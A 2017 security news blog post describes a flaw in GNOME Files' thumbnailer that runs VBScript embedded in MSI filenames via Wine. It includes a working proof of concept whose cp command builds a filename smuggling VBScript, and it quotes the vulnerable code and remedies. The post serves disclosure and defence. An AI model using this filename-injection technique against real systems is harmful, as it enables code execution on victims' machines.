Sunday, July 23, 2017

A bug in Gnome pic parser can be exploited to run malicious VBScripts

Another day, another bug in a popular application. A bug in your image thumbnailer could represent a new attack vector for hackers that can exploit it for script injection.
To create image thumbnails, Gnome Files allows users providing filenames as an executable input.
The flaw was detailed by the researchers Nils Dagsson Moskopp who provided useful suggestions to avoid being hacked.
“Thumbnail generation for MSI files in GNOME Files executes arbitrary VBScript.” states Moskopp.
“Delete all files in /usr/share/thumbnailers. Do not use GNOME Files. Uninstall any other software that facilitates automatically executing parts of filenames as code”.
Dagsson Moskopp published a PoC code leveraging Wine to execute VBScript. He tricks Gnome Files into creating an MSI file called badtaste.txt.
gnome thumbnailer
Create MSI Files
Create a file named poc.xml with the following content:
<?xml version="1.0" encoding="utf-8"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Version="1.0"/>
</Wix>
Execute the following Bourne Shell code:
wixl -o poc.msi poc.xml
cp poc.msi "poc.msi\",0):Set fso=CreateObject(\"Scripting.FileSystemObject\"):Set poc=fso.CreateTextFile(\"badtaste.txt\")'.msi"

Trigger Execution

Start GNOME Files and navigate to the folder with the MSI files. An empty file with the name badtaste.txt should appear.
“Whenever an icon for a Microsoft Windows executable (EXE), installer (MSI), library (DLL), or shortcut (LNK) should be shown, Gnome Files calls /usr/bin/gnome-exethumbnailer to either extract an embedded icon from the file in question or deliver a fallback image for the appropriate filetype.” explained the expert.
The expert highlighted that the problem is triggered due to the presence of just one line of code in /usr/bin/gnome-exe-thumbnailer:
DISPLAY=NONE wine cscript.exe //E:vbs //NoLogo Z:\\tmp\\${TEMPFILE1##*/}.vbs 2>/dev/null \
“Instead of parsing an MSI file to get its version number, this code creates a script containing the filename for which a thumbnail should be shown and executes that using Wine. The script is constructed using a template, which makes it possible to embed VBScript in a filename and trigger its execution.” Dagsson Moskopp added. 
In order to avoid problems, Dagsson Moskopp suggests developers should not use “ad-hoc parsers” to parse files, should “fully recognise inputs before processing them”, and should use unparsers.
Below the remedy suggestions for both users and developers:
Remedy (for users)
“Delete all files in /usr/share/thumbnailers. Do not use GNOME Files. Uninstall any other software that facilitates automatically executing parts of filenames as code.”
Remedy (for developers)“Do not parse files with bug-ridden ad-hoc parsers. Fully recognize inputs before processing them. Do not use templates, use unparsers instead. Read about LANGSEC.”

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